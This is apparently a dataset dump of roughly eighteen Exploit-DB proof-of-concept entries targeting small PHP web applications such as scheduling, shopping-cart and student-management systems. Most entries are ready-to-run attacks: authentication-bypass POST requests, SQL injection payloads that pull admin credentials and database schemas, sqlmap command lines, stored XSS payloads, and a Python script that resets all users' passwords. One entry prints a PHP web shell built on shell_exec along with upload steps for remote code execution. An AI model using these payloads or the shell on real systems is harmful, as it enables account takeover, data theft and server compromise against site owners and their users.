deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48409
Description: Online Scheduling System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-05-01
Author: boku

Exploit:
# Exploit Title: Online Scheduling System 1.0 - Authentication Bypass
# Exploit Author: Bobby Cooke
# Date: 2020-04-30
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4

# Malicious POST Request to https://TARGET/Online%20Scheduling%20System/login.php HTTP/1.1
  POST /Online%20Scheduling%20System/login.php HTTP/1.1
  Host: TARGET
  Connection: close
  Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60

  username=0&password=0&lgn=Login
Exploit-DB #48403
Description: Online Scheduling System 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-01
Author: boku

Exploit:
# Exploit Title: Online Scheduling System 1.0 - Persistent Cross-Site Scripting
# Exploit Author: Bobby Cooke
# Date: 2020-04-30
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Vulnerability Info:
#   Online Scheduling System v1.0 suffers from an authenticated persistent cross-site scripting vulnerability. This Proof of Concept (PoC) will cause all users of the system,  with read access to the courses, to execute arbitrary client-side code when viewing the 'Home' and 'List' tabs within the web application. The application fails to sanitize arguments supplied by the user before inserting them into the SQL database.

# Vulnerable Source Code
## /add.cor.php
 14  $Course_Code = $_POST['corcode'];
 15  $Course_name = $_POST['corname'];
 16 
 17  $sql = "INSERT INTO course (Course_Code, Course_name) VALUES ('$Course_Code', '$Course_name')";

# Malicious POST Request
  POST /Online%20Scheduling%20System/add.cor.php HTTP/1.1
  Host: 172.16.65.130
  Referer: http://172.16.65.130/Online%20Scheduling%20System/addcourse.php
  Content-Type: application/x-www-form-urlencoded
  Connection: close
  Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60

  corcode=XSS-101&corname=%3Cscript%3Ealert%28%22XSS-101%22%29%3B%3C%2Fscript%3E&submit=
Exploit-DB #48819
Description: Online Shop Project 1.0 - 'p' SQL Injection
Type: webapps
Platform: php
Date: 2020-09-21
Author: Augkim

Exploit:
# Exploit Title: Online Shop Project 1.0 - 'p' SQL Injection
# Date: 2020-09-20
# Exploit Author: Augkim
# Vendor Homepage: https://www.sourcecodester.com/php/14448/online-shop-project-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/online-shop-using-php.zip
# Tested on: Apache2


GET
/shop/product.php?p=2%20UNION%20ALL%20SELECT%201,2,3,4,@@datadir,6,7,8--%20-
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lmuj4akmh6q1flmcbnuisgttom
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Origin: foo.example.org


PoC:
/URL/product.php?p=2%20UNION%20ALL%20SELECT%201,2,3,4,@@datadir,6,7,8--%20-
Exploit-DB #48771
Description: Online Shopping Alphaware 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-08-28
Author: Moaaz Taha

Exploit:
# Title: Online Shopping Alphaware 1.0 - 'id' SQL Injection
# Exploit Author: Moaaz Taha (0xStorm)
# Date: 2020-08-28
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "id" is vulnerable to Error-Based blind SQL injection in this path "/alphaware/details.php?id=431860" that leads to retrieve all databases.

#POC
sqlmap -u "http://192.168.1.55:8888/alphaware/details.php?id=431860" -p id --dbms=mysql --dbs --technique=E --threads=10
Exploit-DB #48725
Description: Online Shopping Alphaware 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-30
Author: Ahmed Abbas

Exploit:
# Title: Online Shopping Alphaware 1.0 - Authentication Bypass
# Exploit Author: Ahmed Abbas
# Date: 2020-07-28
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
 
# Malicious POST Request to https://TARGET
POST /alphaware/index.php HTTP/1.1
Host: 172.16.65.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.65.130/alphaware/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
DNT: 1
Connection: close
Cookie: PHPSESSID=gqhv9sl4d1bdtr4pspm887ft2n
Upgrade-Insecure-Requests: 1

email='+or+1%3d1%3b+--+ahmed&password='+or+1%3d1%3b+--+ahmed&login=Login
Exploit-DB #49131
Description: Online Shopping Alphaware 1.0 - Error Based SQL injection
Type: webapps
Platform: php
Date: 2020-12-01
Author: Moaaz Taha

Exploit:
# Title: Online Shopping Alphaware 1.0 - Error-Based SQL injection
# Exploit Author: Moaaz Taha (0xStorm)
# Date: 2020-08-20
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "id" is vulnerable to Error-Based blind SQL injection in this path "/alphaware/details.php?id=431860" that leads to retrieve all databases.

#POC
sqlmap -u "http://192.168.1.55:8888/alphaware/details.php?id=431860" -p id --dbms=mysql --dbs --technique=E --threads=10
Exploit-DB #49423
Description: Online Shopping Cart System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2021-01-14
Author: Aydın Baran Ertemir

Exploit:
# Exploit Title: Online Shopping Cart System 1.0 - 'id' SQL Injection
# Date: 14.1.2021
# Exploit Author: Aydın Baran Ertemir
# Vendor Homepage: https://www.sourcecodester.com/php/14668/online-shopping-cart-system-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14668&title=Online+Shopping+Cart+System+in+PHP+with+Full+Source+Code
# Version: 1.0
# Tested on: Kali Linux

Use SQLMAP:

sqlmap -u "localhost/cart_remove.php?id=1" --dbs --batch --level 3 --risk 3
Exploit-DB #48647
Description: Online Shopping Portal 3.1 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2020-07-07
Author: gh1mau

Exploit:
# Exploit Title: Online Shopping Portal 3.1 - 'email' SQL Injection 
# Date: 2020-07-06
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7393
# Version: V3.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Info:
-----
[+] Attacker can change all user's password from the forgot-password.php page and login to their account.

Vulnerable File:
---------------- 
/forgot-password.php

Vulnerable Code:
-----------------
line 8: $email=$_POST['email'];

Vulnerable Issue:
-----------------
$email=$_POST['email']; has no sanitization



POC:
----

import requests

url = "http://localhost:80/shopping/forgot-password.php"

[CREDENTIAL_REDACTED]"
payload = "email=saya%40saya.com' or '1'='1'#&contact=1234&password=" + password + "&confirmpassword=" + password + "&change="
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=pq2dc9oja60slrifcfjuq7vhf0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/shopping/forgot-password.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "96", 
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.request("POST", url, data=payload, headers=headers)

print("[+] Try login with password : " + password)
Exploit-DB #48631
Description: Online Shopping Portal 3.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-01
Author: Ümit Yalçın

Exploit:
# Exploit Title: Online Shopping Portal 3.1 - Authentication Bypass
# Date: 2020-06-25
# Exploit Author: Ümit Yalçın
# Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/
# Version: 3.1
# Tested on: Windows 10 / WampServer

1- Authentication Bypass

Go to following url!
http://localhost/shopping/admin/

Default admin username is admin, to bypass authentication use sql bypass like '# or ' OR 1=1#

username = admin'#
passwrod = what ever you want


2- Uploading Shell to Remote Code Execution

After bypassed the authentication go to insert-product field
http://localhost/shopping/admin/insert-product.php


after that, upload you shell , as an example

<?php
$exe = shell_exec($_REQUEST['cmd']);
echo $exe;
?>


and go to http://localhost/shopping/admin/productimages/ and all possible folders named with number from 1 like 

http://localhost/shopping/admin/productimages/1
http://localhost/shopping/admin/productimages/2
http://localhost/shopping/admin/productimages/3
http://localhost/shopping/admin/productimages/4
http://localhost/shopping/admin/productimages/5

When you find your shell, for example you found at 21

TARGET/shopping/admin/productimages/21/shell.php?cmd=CODE_YOU_WANT_TO_EXECUTE
Exploit-DB #51811
Description: Online Shopping System Advanced - Sql Injection
Type: webapps
Platform: php
Date: 2024-02-26
Author: Furkan Gedik

Exploit:
# Exploit Title: Online Shopping System Advanced

# Date: 07.12.2023

# Exploit Author: Furkan Gedik

# Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Software Link: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Version: 1.0

# Tested on: [Kali Linux 2020.3]

 

 

 

# Description

Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database.

 

# PoC

 

[+] sqlmap output 

sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080

 

Parameter: cm (GET)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV

 

# Vulnerability

https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22

[+] payment_success.php 

if (isset($_GET["st"])) {
 

 # code...

 $trx_id = $_GET["tx"];

  $p_st = $_GET["st"];

  $amt = $_GET["amt"];

  $cc = $_GET["cc"];

  $cm_user_id = $_GET["cm"];

  $c_amt = $_COOKIE["ta"];

 if ($p_st == "Completed") {
 

  include_once("db.php");

  $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'";
Exploit-DB #48383
Description: Online shopping system advanced 1.0 - 'p' SQL Injection
Type: webapps
Platform: php
Date: 2020-04-27
Author: Majid kalantari

Exploit:
# Exploit Title: Online shopping system advanced 1.0 - 'p' SQL Injection
# Exploit Author : Majid kalantari
# Date: 2020-04-26
# Vendor Homepage : https://github.com/PuneethReddyHC/online-shopping-system-advanced
# Software link: https://github.com/PuneethReddyHC/online-shopping-system-advanced/archive/master.zip
# Version: -
# Tested on: Windows 10
# CVE: N/A
===============================================

# vulnerable file: product.php

# vulnerable parameter : p

# payload :
http://127.0.0.1:8081/phps/product.php?p=-10+union+select+1,2,3,concat(admin_email,%27----%27,admin_password),5,6,7,8+from+admin_info%23#
!

#Description: ($product_id input is not safe)

Line 46:
$product_id = $_GET['p'];
$sql = " SELECT * FROM products ";
$sql = " SELECT * FROM products WHERE product_id = $product_id";
===============================================
Exploit-DB #35480
Description: Online store PHP script - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2011-03-21
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/46960/info

Online store php script is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

SQL Injection URIs:
====================

http://www.example.com/detail.php?prodid=[SQL]
http://www.example.com/view_wishlist.php?products_id=[SQL]
http://www.example.com/moreImage.php?prod_id=[SQL]
http://www.example.com/product2.php?loginn=confirmed&a=&b=&submit=+++Login+++.... [empty Query ]
http://www.example.com/products.php?cid=21&sid=558&skip=[SQL]
http://www.example.com/gstatus.php?code=[SQL]

Cross Site Scripting URIs:
==========================

http://www.example.com/detail.php?prodid=<script>alert(1)</script>
http://www.example.com/products.php?cid=21&sid=558&skip=<script>alert(1)</script>
Exploit-DB #44719
Description: Online Store System CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Online Store System CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/online-store-system-in-php-and-mysql/3
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description: PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC: SQLi:
# Demo: https://Target/demos/shop/

https://Target/demos/shop/index.php?action=clientaccess

POST /demos/shop/index.php?action=clientaccess HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/shop/index.php?view=clientaccess
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
email=admin%40admin.com&[CREDENTIAL_REDACTED]


# Vulnerable Payload:
# Parameter: email (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

email=admin@admin.com" RLIKE (SELECT (CASE WHEN (7084=7084)
THEN 0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND
"eloY"="eloY&[CREDENTIAL_REDACTED]

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: 

email=admin@admin.com" AND (SELECT * FROM
(SELECT(SLEEP(5)))lzxm) AND "vZea"="vZea&[CREDENTIAL_REDACTED]
Exploit-DB #48610
Description: Online Student Enrollment System 1.0 - Unauthenticated Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-06-22
Author: BKpatron

Exploit:
# Exploit Title: Online Student Enrollment System 1.0 - Unauthenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-06-20
# Exploit Author: BKpatron
# Vendor Homepage: https://www.campcodes.com/projects/php/4745/online-student-enrollment-system-in-php-mysqli/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/student_enrollment_1.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability:
Online Student Enrollment System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.

#CSRF PoC:

<html>
<body>
<form action="http://localhost/student_enrollment/admin/index.php?page=user-profile" method="POST" enctype="multipart/form-data">
      <input type="file" name="userphoto" required="" id="photo"><br>
      <input class="btn btn-info" type="submit" name="upphoto" value="Upload Photo">
    </form>
</body>
</html>
Exploit-DB #48896
Description: Online Student's Management System 1.0 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-19
Author: Akıner Kısa

Exploit:
# Exploit Title: Online Student's Management System 1.0 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020/10/18
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/14490/online-students-management-system-php-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/studentrecord_0.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

Proof of Concept:

1 - Go to http://localhost/studentrecord/ url, click "click here to sign in" text and login with the 070101:070101 information. 

2 - Then go to http: //localhost/studentrecord/my-profile.php and upload your shell file from the upload new photo section and click the update button.

3 - Finally, open your shell in http://localhost/studentrecord/staffphoto/shell.php
Exploit-DB #48870
Description: Online Students Management System 1.0 - 'username' SQL Injections
Type: webapps
Platform: php
Date: 2020-10-12
Author: George Tsimpidas

Exploit:
# Title: Online Students Management System 1.0 - 'username' SQL Injections
# Exploit Author: George Tsimpidas
# Date: 2020-10-09
# Vendor Homepage: www.sourcecodester.com
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/janobe/studentrecord_0.zip
# Version : 1.0
# Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
# Category: Webapp

# Description

The files index.php on the main login page, and the index.php on the
/admin/ login page does not perform input validation on the regno
and username parameters. An attacker can send malicious input in the post
request to http://localhost/index.php or either
http://localhost/admin/index.php and bypass authentication, extract
sensitive information etc.

#POC

1) Navigate to the admin login page

Example:

http://localhost/admin/index.php

2) Fill in dummy values for 'username' and 'password' fields and send the
request via an HTTP intercept tool

3) Save the request to file. Example, student_record_sqli.req

POST /admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://localhost
DNT: 1
Connection: close

username=admin&password=dummy

4) Run SQLmap on the file,

sqlmap -r student_record_sqli.req --dbms=mysql --threads=10 -p username
Exploit-DB #18035
Description: Online Subtitles Workshop - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-26
Author: M.Jock3R

Exploit:
===================================================================================
 Online Subtitles Workshop XSS vulnerabilities
===================================================================================
# Exploit Title: Online Subtitles Workshop XSS vulnerabilities
# Author: M.Jock3R (www.the-code.tk)
# Script Download: http://sourceforge.net/projects/onlinesubtitles/files/
# Category:: webapps
# Tested on: windows XP Sp2 FR
===================================================================================

Vuln file: video_comments.php

Vuln code:
---------
$all_comments = read_video_comments($video_id);

//print_r($all_comments);

$video_comments = "";

for ($i = 0; $i <= count($all_comments)-1; $i++) {

    $video_comments = $video_comments . "
<table style='width:100%'>
<tr>
<td style='width:100%'>
".get_user_name($all_comments[$i]['id'])."
</td>
<td>

".date('h:i:s A m-d-Y ', $all_comments[$i]['time'])." 
</td>
</tr>
<tr>
<td colspan='7'>
".$all_comments[$i]['message']." <== Here you can inject any HTML or Javascript code :)
</td>
</tr>
</table>
<br>
";

Exploit:
---------
First,Choose any video.
Go to comments, and write for example : <marquee><font color=red size=15>M.jock3r</font>/marquee>
-Or you can steal the cookies of any one browse the video page :)

===================================================================================
Greets To :
the C0de team / sa-hacker.com

Email : madrido.jocker@gmail.com
  
THANKS TO ALL ALGERIANS HACK3RS
===================================================================================
Exploit-DB #43994
Description: Online Test Script 2.0.7 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-07
Author: L0RD

Exploit:
# Exploit Title: Online Test Script 2.0.7 - 'cid' SQL Injection
# Dork: N/A
# Date: 2018-02-07
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://www.phpscriptsmall.com/product/online-test-script/
# Version: 2.0.7
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLi:

# server/login.php?normal&cid=[SQL]

# Parameter : cid (GET)
#    Type: UNION QUERY
#    Title: Generic UNION query (NULL) - 5 columns
#    payload : /*!00000UNION*/ ALL SELECT
NULL,/*!00000Concat('L0RD',0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL
/*!00000from*/ information_schema.columns where table_schema=schema()%23

Test :
http://server/login.php?normal&cid=-2%20/*!00000UNION*/%20ALL%20SELECT%20NULL,/*!00000Concat(%27L0RD%27,0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL%20/*!00000from*/%20information_schema.columns%20where%20table_schema=schema()%23